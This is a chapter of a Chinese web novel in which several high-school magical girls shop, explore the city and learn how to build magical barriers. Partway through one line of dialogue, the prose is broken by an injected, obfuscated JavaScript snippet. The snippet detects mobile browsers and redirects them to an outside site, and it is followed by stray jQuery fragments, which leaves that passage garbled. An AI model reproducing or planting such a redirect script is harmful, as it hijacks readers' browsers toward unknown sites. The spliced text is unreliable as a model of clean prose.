“好的,谢谢,我马上出来哦。”有乐羽生将手里的果冻放在衣帽间旁的柜台上,迅速地走进衣帽间掩上了门。 衣帽间不大,横杆上按照长度挂着许多不同样式的衣服,饱和度和亮度都不高,一眼看过去没有值得关注的设计和装饰,也没有为时尚弯腰的布料。休闲款式的宽松衣物居多,其次是一些运动品牌的产品,有乐羽生见过她人穿着其品牌的亮色瑜伽服,眼前的衣服们虽然设计不同,但舒适度明显不错。 从上衣来到下装,一眼看去从上衣到下装包括偶尔出现的配饰基本上全是黑色,款式不同,价值不菲,可以看出其主人趋向低调但独特的品味。 犬山同学衣柜里的衣服基本上都是新的呢,是因为,有乐羽生想着,虽然她好奇对方的家庭背景和住在宿舍的原因,但也知道现在二人的关系还不是讨论这些的时机。 有乐羽生小心地翻开衣服与衣服之间的空隙,一时间不细看竟察觉不出其中区别,但意识到日之森的那全套白色系校服便是对方最为亮色的衣服了。 有乐羽生看着,与琳琅满目的冰箱填充物不同,衣柜里的藏品近乎能被合并同类项。 现在的社会中有不礼貌的网络爱好者将这类型的人称为NPC,特定是普通和无个性,但有意思的点便在于犬山晓比起那些真正追逐独特的人都要独特得多。 不同于眼前,有乐羽生自己的衣帽间内基本上没有黑色系产品,这样的颜色只会小面积地出现在装饰的一角作为陪衬,比起舒适度,有乐羽生的衣服们更加乐意与版型和服装设计绑定,不怎么考虑实用性。 但她很快便意识到自己衣柜里的衣服基本上也都不是自己挑选的,若是让她自己去挑选衣服的话会是怎么样的呢?不合适的衣服大概很快就会像差生一样从优等衣架上挑出来扔出去吧。 现在明显不适合思考更多的东西,有乐羽生挑出一件牛仔布料的柔软连衣裙,腰部褶皱密集,设计点大概是金色浮雕双排扣。她快速脱下校服后换上,并对着镜子系好了同样是牛仔布料的领结。 将头发打理好之后她感觉脖子后面有什么东西在刺激皮肤,于是便伸手摸了摸,扯出来一个挂在领口的装饰物,她愣了愣,随即意识到这个是衣服的吊牌。 “犬山同学,我换上的这件衣服似乎吊牌还在。”有乐羽生从衣帽间走出,心里在犹豫自己这样穿走别人的新衣服是否有些太轻佻了,她对于犬山晓实在说不上了解,但对方既然主动提出让自己挑选衣服,那应该也想过这个问题吧? 对方似乎能顺利地选出一套衣服来,这件事让犬山晓暗自松了口气,她的衣柜内除了自己常穿的那些,其余的基本上都是照着市区商业街服装店的展示台选购的,只有颜色是她自己决定下来的。 她总是对于自己的时尚审美没什么信心,连带着无法确认换上那些衣服的镜子中的自己是“符合常识的”。自从她得知有些导购会为了卖衣服什么话都夸得出口后,衣柜中的衣服大部分买回来后就没有再拿出来过。 但有乐羽生的审美一定是不错的,同时犬山晓也觉得这一套好看,这就足够了,她迅速绕到她身后,用手指在吊牌旁一划,然后将落下来的扔进一旁的垃圾桶。 “准备好了吗?”犬山晓走向出口,随后又似是想起来什么一样回头说道,“很适合你。” “感谢你的赞美,我们走吧!”有乐羽生笑了,拿起果冻,跟在对方身后。 在玄关处,犬山晓拿了双新的运动鞋放在地上,回头问道,“你的东西要先放在我这里吗?” “谢谢!衣服我收起来啦。”有乐羽生摆了摆手,拎起地上的皮鞋,准备演示一番自己是如何做的。 空气中传来一阵震动,犬山晓回头,发现眼前出现了一对翅膀,往前看,它出现于有乐羽生的身后,并没有完全展开,微微环绕它的主人折叠着,占据了玄关近一半的空间,羽翼在无风的空间内微微起伏,显得毛茸茸的。 有乐羽生将拎起鞋子的手抬高,让鞋子从羽翼之间折叠着的区域自然坠落,由于前端的遮挡犬山晓看不见那之间发生了什么,但很快她发现落下的鞋子消失在了那块她看不见的区域中。 “这是,”犬山晓感兴趣地思索着,“关于空间的魔法?” “对啦,不过如果被你看着里面的话大概就用不出来了。”有乐羽生将羽翼尾端向外展开,展示同样洁白且毛茸茸的羽翼内部,随后让其消失在空气中。 这是魔法的特性,与魔术表演有些相似的地方,那就是如果将“破绽”暴露给别人看的话那效力便会大大减少,对于魔术而言这个破绽便是障眼法或者机关,对于魔法少女们而言这个破绽便是魔法被施展的一瞬间。 就有乐羽生而言,自她成为魔法少女以来便无师自通了些许与她的特性相关的魔法,例如使用折叠的无视角空间存放东西这一种,以及隐身。 魔法在被使用时若是被非魔法使用者看见,并发自心底地认为是“不可能”或者“不符合现实常理”的,那么在这样的情况下魔法的效力就会减弱到符合“常理”甚至彻底消失,例如有乐羽生在使用空间折叠魔法放置物品时如果被普通人看见了折叠的那部分,那么空间入口就会直接消失,原先在其中的物品会无法取出,也无法存入新的物品。 “被我们这种魔法少女看见的话就没有关系了。”犬山晓说。 因为同为魔法少女,彼此之间的观察是无视常理的,魔物也是如此,所以大多数拥有一定智慧的魔物都会本能地避开人类实现聚集的地方,亦或者说伪装为常人可以认同的样子。 但与魔法少女不同的是,魔物是额外出现在这世间的东西,不像有乐羽生与犬山晓这样的魔法少女是基于普通女孩的蜕变而成,魔物是凭空出现的。但可能是因为其作为非人世间的一份子所以被排斥时生存欲望作怪的原因,魔物会本能性地吞噬其它生命,甚至在有一定实力基础的情况下去吞噬魔法少女。 这便是需要魔法少女去与其战斗的原因了,可惜的是虽然魔物所造成的破坏是有目共睹的,例如人口莫名失踪,建筑无故崩塌,以及动物消失,都有很大可能性是魔物作祟。在这样的情况下社会公安机关,或者说国家机构,依旧无法真正将责任归为“魔物”这一单独的品种,而是“未知的神秘动物”。因为除非魔物自愿现形,常人根本看不见魔物,就连魔法少女也需要锻炼自己的魔力探测才能观测到那些隐藏地比较深的魔物。 所有魔法少女的战斗都不会被看见或者说被认可,因为她们被看见就无法使用魔法,而魔物即使是被消灭了也不会有人因此而感到开心,因为常人连魔物做过什么都不知道。 而魔法少女特性,则是与魔法少女本身的性格息息相关,亦或者更直接地说,与其成为魔法少女那一瞬间内心的想法相关,有些会显化为外表的特征,有些则表现为某种天赋。有乐羽生的特性显化为她那双翅膀,那是即使被观测到也不会像被抓住破绽一样消失的魔法,而是有乐羽生本身存在的一部分。 毕竟无论如何,有乐羽生这个人现在确实是拥有着一双翅膀,这件事是事实,哪怕别人无法接受也不会消失。 只是拥有一双羽翼对于常人来说还是过于惊世骇俗了,所以平时它会被施法隐去身型。 “那双翅膀是真的能带你飞起来吗?”犬山晓感兴趣地问,一边将门锁上。 “当然,不过翅膀本身飞行能力并不强大,需要额外的飞行魔法。”有乐羽生在走廊里轻巧地原地转了一圈,脚尖微微离地后再着陆,运动鞋没有发出鞋跟着地的清脆声响,“事实上我随时都可以保持悬浮状态。” “那很厉害,”犬山晓直白地夸赞道说,“能稳定地使用魔法很了不起,我一直在锻炼自己以达成这样的目标。” “哎呀,”有乐羽生开心又有点害羞,但不想表现出来,“犬山同学的魔法是什么呢?” 她问的魔法自然是指与羽翼一般的魔法少女的特性,犬山晓明白这一点。 “是强化身体素质。”犬山晓说。 这与一双羽翼相比是非常普通的特性了,实际上魔法少女在提高魔力储备之后大多数会拥有优于常人的身体素质,同时使用魔法临时强化也不是难事。但考虑犬山晓作为魔法少女战斗经验丰富,则强化想必与普通意义上的强化有所不同。 强化身体是非常节省魔力的那一派魔法了,加上犬山晓一直以来都在狩猎魔物,有乐羽生可以想象的到她的魔力上限和日常魔力使用效率都是非常惊人的。但即使是这样她也坚持日常的训练和饮食,可以说是魔法少女中的典范了。 “很实用呀。”有乐羽生夸赞说,“那犬山同学其实应该去参加体育社团,成为明星社员的话会大受欢迎哦。” “我确实有颗不错的心脏,但魔法真正用起来其实不太美观就是了,”犬山晓解释了下,“成为乐队成员也会很受欢迎。” 提起这个,两人又聊起了关于乐队的事情,一边向建筑外走去。 “说起来,我们怎么去那里?”有乐羽生好奇地问,“夕映广场,我记得在北边的明月小路边上。” 日之森校区的正北边和东边都是普通的居民区,也有小型的活动广场和商业街,但比不上东北方向的西部市区的商业街繁华就是了。 “坐电车。”犬山晓带路向前走,日之森出口不远处有有轨电车站台,虽然没什么人坐,不过也尽职尽责地每半小时来一趟。 “哦哦!”有乐羽生有些兴奋,她一个人没有坐公共交通工具的理由,那些学生会成员更不会以这种方式出行,除了初中时和当时的学生会主席一同坐有轨电车去临时采买活动装饰品,她还没主动使用过公共交通。 “有乐同学介意坐公共交通工具吗?”犬山晓问道,她也见过以不坐交通工具为豪的人。 “没有这回事,走吧走吧,时间来得及吗?”有乐羽生晃着果冻瓶催促说。 “来得及,”犬山晓说,感觉对方比在学校里活泼了点,“不过饮料不能带上车哦。” 二人没有在站台上等多久,这个时间点电车里只有零星几个人,占据空间更多的是阳光。二人上车后随意找地方坐下了,到明月路站台只需要两站,沿途多是居民楼,直到抵达站点后才看见了些商铺。犬山晓将自己的交通卡交给了有乐羽生,自己使用了现金。 有乐羽生觉得这一做法有些奇怪,因为她知道未成年人是不需要支付车费的。但她对于犬山晓并不熟悉,认为这或许有特殊的理由,比如,热爱城市交通系统? 下车后往路口右手边探头的话不远处能看见矗立着一座看不出是人物的人物雕像,以及努力工作着的喷泉,加上台阶上的些许石质长椅和有些年代感的路灯,这便是夕映广场。 “还要往前走一会,我一般会绕着广场周围的街道巡视一圈。”犬山晓解释说。 “犬山同学很熟悉这里的样子,是每天都来这里吗?”有乐羽生饶有兴致地问。 “我一两个月只会巡视同样的地方一次,不过这里离学校近,有需要的东西也会来这里买。”犬山晓摇了摇头。 有乐羽生表示自己并没有什么特别想逛的地方,二人便一起沿着犬山晓习惯的路线开始行走,路上能看到一些居民或单独或二三结伴出行,大概是去为晚饭做准备的。 “说起来,”有乐羽生说,“总感觉最近魔物出现变得频繁了,城市每天都会出现原因不明的建筑物倒塌事件,这大概率也是魔物做的吧,以前一周一处区域大概只会出现一次的。” “也许并不是魔物出现变得频繁了,而是你的魔力察觉随着你的成长变得敏锐了。”犬山晓说,“并不是所有的魔物都会撞上你的感知,甚至大多数魔物都知道需要隐藏自己。” 犬山晓一早看出有乐羽生和森山寺未央的魔力上限不高,大概率是新手。能多一些经验就多一些保护自己的力量,她尽可能详细地回答问题。 “那就是说,”有乐羽生惊讶地说,“实际上魔物也有聪明的那种吗?” “不仅仅是聪明,有些甚至会彼此配合,在我遇到你们之前我以为要一直独自战斗,”犬山晓感慨说,“现在突然就拥有很多同伴了,以后或许我们也能有一起对抗魔物的机会。” “确实呢,”有乐羽生点头,“犬山同学成为魔法少女很久了吗?听上去经验很多的样子。” “我确实成为魔法少女有一段时间了,不过大概也就去年开始在这里狩猎魔物吧。”犬山晓想了想说,“有乐同学是新手吗?” “也不算吧,我在初中的最后一年便成为魔法少女了,为了节省魔力用了剑作为武器,而且我以前有一直练习剑道,在战斗方面还算擅长,再加上我的移动速度很快,一直以来没出现过什么大危机。”有乐羽生回忆说,“不过我并不像犬山同学这样,只是偶尔会半夜悄悄出门寻找魔物,直到高中开始我才开始考虑在白天也要去战斗。” 犬山晓点了点头,没有追问细节原因,她知道人与人之间需要距离感。 魔法少女只能通过与魔物战斗获得魔力上限的成长,若是长期不使用魔法那么对于魔法或魔物的感知便会变得迟钝,久而久之便会流失魔力,除此之外,每个魔法少女都有自己战斗的理由。 “使用擅长的武器战斗是明智的做法,”犬山晓思索着说,大概是因为在思考,她说话的速度比较慢,“我使用手甲战斗,身体强化魔法对我的行动的增益非常有效。对于剑道我并不熟悉,没办法在这方面给你建议了。但在对付魔物的方面我还算是有发言权的吧?” “说起与魔物战斗,最难的部分果然是保持隐蔽吧?”有乐羽生问道,这是必然的,魔法被发现破绽便大大降低效用的特性使魔法少女在战斗时不得不考虑隐蔽性,她自认还做不到靠赤手空拳把魔物击败,即使魔物被观测到时也无法使用特殊能力。 “确实如此,不仅仅是魔法的力量,保持身份的神秘也是必要的,”犬山晓点了点头,“变身之后虽然看上去特别显眼,但反而是不会被认出来的。” 魔法少女当然会变身!虽然只是服装上发生了改变,但在变身后哪怕被直接看到脸也绝不会被认出来。不过除了自己的身份以外也要考虑其余魔法少女们的人身安全,多数魔法少女都会默认隐秘的行动方式,尽可能地私下解决魔物。 有乐羽生子的在变身后不知为何魔法的作用和身体素质都会在原本的基础上翻几倍。但变身也是有魔力消耗的,所以提升魔力上限是魔法少女们的必要一步。 就拿有乐羽生的空间魔法举例,在有特征作为加持的情况下,本来作为高魔力消耗的空间转移魔法对她来说不算是特别难使用的。同时她对于设置空间锚点转移阵法非常熟悉,阵法虽然会消耗大量魔法,但可以提前准备,同时在使用时不消耗魔力。 虽然无法在普通人的眼前使用魔法,但若是提前施展完毕的魔法或者现成的魔法产物是不会轻易失效的,典型的可通常持续使用的魔法就是变形术和隐身术,同理,含有魔力的物品也会对普通人奏效。但若是被一个人直接确认位置与状态,并被认为“这不该如此吧”的时候,魔法就会逐渐失效。 “我之前在半夜出门,通常情况下不会被谁注意到高空有谁存在。隐身魔法对我来说持续使用的话魔力消耗也不少,白日若是需要狩猎魔物的话就得想一些更有效率的方式了。”有乐羽生烦恼地想叹气。 “我倒是对此有应对的手段。”犬山晓说,“不过有些代价。” “是什么?什么魔法吗?”有乐羽生非常想知道,“请告诉我吧拜托了!” “有两种,”犬山晓伸出食指,“第一种便是想办法让魔物移动到无人的地方,一般来说魔物都会追着你跑,不过这种就需要注意周围环境了。” “第二种是设立一个属于你自己的结界。”在旷阔的草原上,艾克里普边朝太阳的方向走边向森山寺未央介绍道。 “这里是哪里,”莫名被魔法传送到这里的另一个人,也就是森山寺未央已经不似最初那番惊讶了,“我们出国了吗?结界听上去很炫!我可以学吗?” 在与另外二人分别后,艾克里普在简单询问了森山寺未央一些问题之后便判断对方在这种情况下对上魔物基本上只有挨打的份,于是便大手一挥使用空间魔法传送到了这里。 低头看是被风吹动的草,抬头看是蓝天白云,往远处看是一片绿色和若隐若现的山,往周围看只有彼此两个人。 风的声音偶尔会盖过对话,天蓝得像是另一个世界的。或许确实是呢? “还在听吗?”艾克里普回头,无奈地说,“我想,我必须尽快让你熟悉魔法的使用,未央这样的我还是第一次见,不过我也确实是第一次在这座城市遇到别的魔法少女就是了。” 这样说完,艾克里普脸上不禁露出了笑容,森山寺未央见状也不再问其它,而是专注于刚才的话题。 “使用结界需要代价,”森山寺未央问,“肯定不只是魔力吧。” 魔力这种顶多算得上消耗。 “不,你很聪明,”艾克里普笑了,“每个魔法少女的结界都由其本人从头开始构造,让我们从最基础的开始讲解吧。” 艾克里普抬手,原本的白色校服被柔软且自然下垂的布料替代,希腊哲学家风格的白色袍覆盖上她的身体,原本的皮鞋消失,她的脚赤裸着踩在了草地上,黄金般闪烁的金属绕上她肩头,腰腹和脚踝,有纺锤的花纹。她抬手将遮住了半张脸的兜帽拉下,那金色长发便与布料一同垂在她的脚边。 为了更好地讲解,艾克里普换上了魔法少女的装束。 “未央你无法理解魔法的凝聚,这件事是最令我困惑的,因为这件事对于魔法少女来说就与呼吸无异,但你又能非常自然地变身,这就像是一个人跳过了呼吸去使心脏工作。”艾克里普神色奇异,她在学校里刚刚得知这件事时确实吓了一跳。 “是的,也是你和我说了之后我才知道这样是不正常的。”森山寺未央点头,她也同样抬手握住凭空出现的驻地式手杖轻轻点地,右肩上单边披风随风扬起,双排扣的条纹样式西装背心包裹住无袖衬衫和领结,原本的校服裙也被弯曲花纹的西裤所替代,她没有被披风遮盖的左手抬起,压了压头上出现的贝雷帽,以及后方的猫耳形状帽尖。 整体看上去像是小说里的怪盗,衣装上的紫色条纹看久了会产生些许眩晕感。 “而且我也和魔物战斗过,虽然过程非常艰辛,不过后续的行动便好了许多。”森山寺未央低头打量自己的魔法少女装束。 “这件事能仔细和我讲讲吗?未央一开始是怎么绕过使用魔法去击败魔物的呢?”艾克里普完全不理解这是如何发生的。 “当然!我记得很清楚,实际上我也使用了魔法,不过并不是靠凝聚魔力使用的,而是出自本能。”森山寺未央比划着像表示当时的情景,“使用了魔法之后会特别饿呢,不过战胜了魔物之后有感觉到我变强了!” 艾克里普发觉森山寺未央说话有些找不到重点,但她有着十足的耐心,以及万分充沛的魔法知识,很快就理解了对方说的是什么。 “是魔法少女的特性对吧,那确实能跳过凝聚魔力这一步直接消耗自己体内的魔力。”艾克里普点了点头,“未央的特性是战斗方面的吗?” “其实并不是,不过也用得上了。”森山寺未央微妙地说,她抬起手杖,她那与自身共存的魔法便顺应她的呼吸被展开了,“我的特性简单来说就是精神操控。” “精神操控,你控制魔物自己攻击自己了吗?”艾克里普赞叹说,“虽然说魔物中的一部分非常狡猾,但我还是第一次知道它们能被操控。” “其实也不是那样,总之先让你看看吧。”森山寺未央放弃了解释。 一张扑克牌大小的纯黑色卡片在森山寺未央的身前闪现出来,她随即扬起手杖,那卡片便化为黑色的光束向四周成倍展开,很快凝聚成了一个有具体现状的黑影,勉强看得出是人型,有大概三米高,整体漆黑不透光,也不反光。 “这是?”艾克里普看不出这是什么,有魔力气息,但并非是魔物,她理解这是森山寺未央的造物。 “这是我遇到的第一只魔物变形后的样子。”森山寺未央看向黑影,那三米高的黑色巨人便单膝跪地,“遇到它时我还没做好战斗的准备,说实话当时我几乎以为我要死在那里了,还好想出了这个方法。” “这是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15706117|173535||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 魔物?”艾克里普上前去打量,“据我所知没有魔物是全黑色的,它们通常非常有个性,而且它的身上只有你的魔法气息。” “是啦,它当时既不是人形也不是黑色,”森山寺未央说,“我使用精神控制吸收,或者说同化了它,作为我的特性的一部分。后来它就很听话了!而且很高!” “同化?”艾克里普回头问道,“你是说,你将魔物同化为了你的特性的一部分吗?” “是的,它依旧能使用作为魔物时的能力,但本质上它是我的特性的一部分,也就是我的一部分。”森山寺未央点头,她扬起手杖命令魔物行动,那黑色巨人立马以不符合大小的速度灵巧地站起身,开始高速原地旋转,像个陀螺。 “这到底是怎么做到的,”艾克里普因为想不通有些头疼了,“未央真是很奇特的魔法少女呢。” “观察,理解,尝试接触,同化,简单来说就是这样。”森山寺未央摊手,黑色巨人变回卡片被收进她的披风内侧,“这些不重要啦,这样的战斗方式实在是太显眼了,消耗的魔力也很多,请艾克里普务必告诉我结界的用法。” “当然,”艾克里普正色道,“我会尽可能地详细说明的。” “每个魔法少女都可以构建结界,且每个魔法少女的结界内部都完全不同,唯一相同的点在于结界展开时的外部,也就是接触现实的那部分会显现出正常的场景,没有魔力的常人会下意识地避开,而若是有其它魔法少女或魔物接触结界外部,则会被一同吸收进结界内部。”艾克里普停顿了一下。 “现实?结界内部是非现实吗?”森山寺未央问道。 “没错,你抓住了重点。”艾克里普笑了,她抬手在半空中凝聚出了一个直径约半米的半透明球体,球体内部包裹着一根草,“看见这个球了吗?这就是一个简易的结界。” “这就是结界吗?”森山寺未央伸手想要触摸球体,但很快,球消失在了空气之中,但她依旧能察觉到那里有些什么存在。 “这是非常简易的结界,容量很小也很脆弱,只有最基础的作用,也就是包裹内部的一定物品,并对外界隐瞒其中。”艾克里普让结界内部再次显现,“重点在于结界内部,在魔法少女创作出一个独立的,可重复使用并且实用的结界之后,她便能在需要时展开结界。展开结界是不消耗魔力的,但制作结界需要消耗魔力,结界内部运行也需要,同时结界的内部环境会依据魔法少女本身的内心世界与魔法特性发生改变。” “有点像是做梦,听上去好有意思啊。”森山寺未央非常感兴趣。 “正是如此,所以我也将结界内部的空间称之为心像空间,在心像空间里,魔法少女的能力能得到最大化的运用,并且若是能够将结界内部提前设置好陷阱,那便能在与魔物战斗时起到很大的作用。”艾克里普身前的水球发生了一些改变,本飘荡在其中的那根草在呼吸间生长繁殖,很快彼此缠绕变为一根结实的藤蔓。 森山寺未央迅速意识到艾克里普是自然派的,而且非常有耐心。她为这一点感到开心,她非常需要一个耐心的老师。 “我明白了,确实非常有用,”森山寺未央连连点头,又问道,“那若是结界内部的魔物想要逃出去呢?” “这很难,除非结界的主人处于昏迷的状态无法维持结界的稳定。但实际上这种情况下比起逃出结界,魔物会更加倾向于攻击魔法少女本身。不过确实有可能被其从内部逃离,而其中重点也在于结界的主人身上。”说到这里,艾克里普眉头皱了起来,“所以你们本身的安全才是重中之重,绝不可让自己处于魔力低下的状态,即使你自认为占据上风,明白了吗?” 森山寺未央认真听着,艾克里普说的话没有哪里对她而言是无用的。草抚摸脚踝的感觉时常吸引她的注意力,但她很快就能克服。 “结界一旦开始构建,便需要魔法少女时刻保持其存在,也就是说魔法少女需要一直使用魔力去维护其中的心像空间,哪怕是在未展开的情况下。”艾克里普将水球凝聚为硬币大小,“在这样的情况下,魔法少女的内心会潜移默化地影响心像空间内部的情景,而反之亦然。” “你是说,心像空间会影响魔法少女的内心?”森山寺未央讶异地说。 “正是如此,未央,”艾克里普说,“在长期的影响下,无法控制心像空间成长的,或者说无法自我控制的魔法使用者,便会逐渐分不清现实与心像空间的区别,久而久之在战斗中露出破绽,被魔物攻击,亦或者在现实中被人当成…” “精神病人。”森山寺未央补上她不忍心说完的话语。 “正是这样。”艾克里普在沉默了些许后继续说,“若是能在混乱开始之前彻底让结界崩塌,重新开始的话就还好,但心像空间对于魔法少女来说即为精神世界的写照。” “我明白,”森山寺未央想起了自己的姐姐,不免有些走神,“我明白了,艾克里普,你有见过这样的魔法少女吗?” “我在这座城市里战斗许久,在遇到你们之前还没遇到过别的魔法少女,我所说的这些皆来自知识传承,是由其它像是我这样带着使命履行责任的人收集而来的。”艾克里普安慰说,“至少在这座城市中是没有的。” “那别的城市呢?”另一边,听闻这些的有乐羽生不免有些难过,“若是遇上了这样的魔法少女就没办法救回她们了吗?” “我确实在别的城市见到过这样的例子,”犬山晓边走边说,“很遗憾,那个时候我还太过弱小了,甚至没法在最后那场与魔物的战斗中帮到她,她去世之后我便离开了那里。” “抱歉提起你的伤心事。”有乐羽生面露忧虑,“希望我们都能强大到在什么情况下都足够保护自己。” “已经过去很久了,没关系。”犬山晓明显不擅长应对来自她人的同情,不过对方很快便转移了话题。 “那结界是怎么构成的呢?”有乐羽生问道。 “首先你需要将魔力外放,并且凝聚到足以在现实中不会快速消散,可以是线,也可以是面,按照你的习惯和偏好来。”犬山晓解释道,“相信你也发现了,凝聚出的魔力若是不及时使用便会随着时间逐渐消散与空气中,但其消逝的速度与魔力的质量和面积相关。” “确实如此,我将魔力凝聚为空间坐标后便能维持一个星期的效用,但小面积的空间折叠放着不管就很快消失了。”有乐羽生点头。 “实际上结界的构造是非常简单的,你想象成织毛衣便好理解很多了,魔力凝聚为线,线与线编织为更结实的线,随后再编织为完整的面,最后你就会得到一个空心的球,之后将这个球面向外部的面改变为反现实状态,处于现实中且无法察觉魔法的人们就会在潜意识中避开结界所在的区域了。” “这样听上去确实并不难。” “但就像毛衣如果织的不好便会漏风,结界的密度也是重点,密度不足的结界难以长久地维持,甚至会在不知不觉中消散,功亏一篑可并不好受。” “想必这才是困难的部分吧,时刻维护一个高强度的大型密室,还要保持其处于被压缩的状态,还要保持坚定不被其中影响。” “确实如此,但还是有技巧可以钻研的,不如说强行构建结界是一种非常愚蠢的行为。” “哦哦,我就知道!” “技巧便在于将结界的构造基于你的特性魔法之上,特性于你就像是后天获得的新生四肢,或许一开始不习惯,但久而久之使用它便会成为你的本能。在这样的基础上如果能将需要长期维持于现实中但需要维持反现实的结界围绕你的特性构建的话,不仅能节省魔力,也不需要时时刻刻去操心了。” “意思是说,”有乐羽生在沉思后得出结论,“我要使用我的羽翼去构建我的结界,对吗?” “没错,就像是你能够时刻保持悬浮一样,你应该开始锻炼刻意让羽翼在维持隐形的同时外放并控制魔力,久而久之你就会感受到结界的雏形了。”犬山晓满意对方理解得很快,说话间轻松了不少。 有利于郑重地点了点头,决定即刻开始训练。 “可是就像你看到的这样,”森山寺未央让黑色卡牌在空中旋转,“我实在没法做到魔力外放,是不是我这样就没法使用结界了呢?” “未必如此,”艾克里普想了想,“魔法的使用看似严苛,但几乎是万能的,既然未央能变身并且以这种方法施展自己的特性,便也一定有办法构造自己的结界。” 说完,艾克里普伸手引导卡牌,在得到主人的默许后它便飞了过去,她像是搓丸子一样将黑色卡牌合在手心,再打开后,原本是薄薄一片的长方形卡牌变成了一个立体的球。 “呜啊,还能变成球形,这样的话还能当作棒球用吧。”森山寺未央让球在半空中飞舞,她并没有失去对卡片的控制,她察觉到了如何让卡牌变为球形再变回来。 若是能使用更多的魔物填充其密度,那么她便能将其作为结界使用。 “如果想要构造结界的话就需要去同化更多的魔物,加油吧!”艾克里普鼓励说。 “魔法是万能的,艾克里普会使用这么多种魔法,放在现在几乎就是神一样的存在了。”森山寺未央感慨说,“这样来看成为魔法少女真是太好了!” 但听到这句话的艾克里普却反常地没有露出赞同的神色,她的白色头纱与头发混在一起,遮掩了一部分她的眼睛。 “未央,这只是我的做法,但我认为不要使用魔法干涉人类社会比较好。”艾克里普说,森山寺未央不理解她说话时的语气,但也能理解她说的话的意思。 “我明白的!魔法少女要保持隐秘的行事风格!”她回应说。 “…不仅仅是这样。”艾克里普顿了顿,还是开口说道,“不要使用魔法去伤害不认可魔法的人类,同样,也不要使用魔法去帮助单独的个体。” 森山寺未央听罢表情有些僵硬,虽然她不理解艾克里普现在的心情,但对方是拥有远超她拥有的经验的魔法少女,那艾克里普说出这些一定是她自己就是这样想,这样做的。 可是为什么呢?森山寺未央无法理解,虽然魔法少女要保持自身的隐秘,但在别人没有注意到的情况下悄悄对其进行帮助也是不可以的吗? 似乎是看出了她的疑惑,艾克里普想了想。 “被饲养的梅花鹿会学会鞠躬,为了获得食物,乌鸦习惯于翻找人类垃圾堆寻找食物,北极熊主动靠近人类基地,章鱼使用饮料瓶和下水管道制作巢穴。魔法少女只需要对抗魔物就好,我们不需要,也没办法对人类社会中的个体负责。”艾克里普严肃地说。 “动物会因为人类行为而改变自然行为,我们需要避免自己的行动对其它人的影响,是这样吗?”森山寺未央理解了。 “就是这样,不过自身安全是第一位的,未央要首先保护好自己哦。”艾克里普担心地看着她说,“无论什么都可以问我,对我来说你们时刻都处于危险中呢。” “艾克里普有构造自己的结界吗?”森山寺未央好奇问道,她眼里的艾克里普俨然是魔法专家。 “我通常不使用结界就能完成对魔物的狩猎,”艾克里普摇摇头,“而且我没有结界。” “好可惜!我想看看来着,艾克里普的结界如果存在的话一定是很豪华的那种。”森山寺未央想象的是冰雪奇缘里艾莎的城堡。 “我不推荐随便进入别人的结界哦。”艾克里普笑着摇摇头。 “诶为什么?参观之前要买门票吗?” “如果没有结界主人的刻意控制,结界内部提前设置的陷阱是有攻击性的。”犬山晓说。 “哎呀,其实我也能想象到。”有乐羽生摸了摸下巴,“犬山同学这样经验丰富的强者如果有结界的话一定像热带雨林一样危险吧。” “谢谢夸奖。”犬山晓嘴角微微上扬,为自己被这样说感到了不好意思。 二人就这样边走边聊了许久,直到再次看见熟悉的路口,有乐羽生才意识到天色已经逐渐暗了下来。 “哎呀,这就五点多了。”有乐羽生遗憾地确认了自己今天的自由时间所剩无几。 “要回去了吗?”犬山晓回头,“今天的街道相当和平,连没素质的人都见不到。这套衣服你可以自己留着,我基本上也不会穿那些衣服了,还是穿在你身上比较合适。” 有乐羽生忽然就收到了一份礼物,就连即将要回家的郁闷都被一扫而空了。她的母亲教育过她收到礼物一定要回礼,虽然犬山晓并没有这个意思,但她开始思考什么样的回礼比较合适。 “我得先回学校换一下衣服,谢谢犬山同学今天招待我,还教了我这么多东西。”有乐羽生珍重地说,“下次再一起出来玩,也让我招待一下吧。” “没事的,”犬山晓愣了愣说,“一些经验而已,那就下次再见了。” 二人告别后,有乐羽生通过空间锚点传送到日之森的更衣室,换上校服后带着书包走出学校坐上来接自己的车。 和朋友出去玩是这种感觉吗?有乐羽生看着车窗外那看了多年不曾变过的街道和天空,心情轻松愉悦,她许久不曾有过这样的心情,决定回去后研究一下钢琴和电子琴的区别。 “明天学校见,今天真是谢谢你啦!”回到学校附近后,森山寺未央挥手与艾克里普告别,她感到动力十足,但有些头疼回家后如何与姐姐解释乐队的事,就这样边思考边走上了回家的路。 艾克里普也挥了挥手,这样与同伴一起度过的时光令她感到相当新鲜,但她也没忘记自己作为乐队鼓手实际上对架子鼓一窍不通的事。 理论上是会的,艾克里普思索着该去哪里买乐器,超市好像没有这个? 5. 三 与有乐羽生分开后,犬山晓呼出一口气,往自己的下一个目标前进。 今天一天说的话大概比去年一年加起来的还多了,她这样想着,心情却是比往常轻松一些。总算是交到了能沟通的朋友,这样的交流是否属于常规的暂且不谈,她对于今天下午与朋友度过的时光是满意的。 虽然高中的氛围有些难以融入,但第一天就交到了朋友,还是三个,还一起组成了乐队并且定下了目标,这样的进度可以说是突飞猛进了。 随即,她又有些担心了起来。成为魔法少女才几个月的有乐羽生姑且不谈,另外两个人中的森山寺未央看上去简直像是昨天才成为魔法少女一样。不仅身上的魔力几乎没有外放,如果她想要瞒着她的双胞胎姐姐狩猎魔物的话那难度可比家规严格的有乐羽生还要高上一些。 好在那位艾克里普看上去精通魔力之道,希望她们在今天的交流之后能想出一些解决方法,犬山晓一边思考着未来的各种事情,一边回到了宿舍。 魔法少女对于身体上的休眠并不注重,由于魔法本身就是精神力的体现,犬山晓哪怕连续几日不睡也不会出现精神上的疲倦,魔力足够的话可以直接使用魔力缓解肌肉疲劳和高昂的能量消耗,况且魔法少女本身就耐力更好,犬山晓是其中翘楚。 所以现在回到的犬山晓当然并不是因为想要像个好好学生那样在天黑前回家吃饭休息准备第二天的学校日程,她只是回来拿些东西。 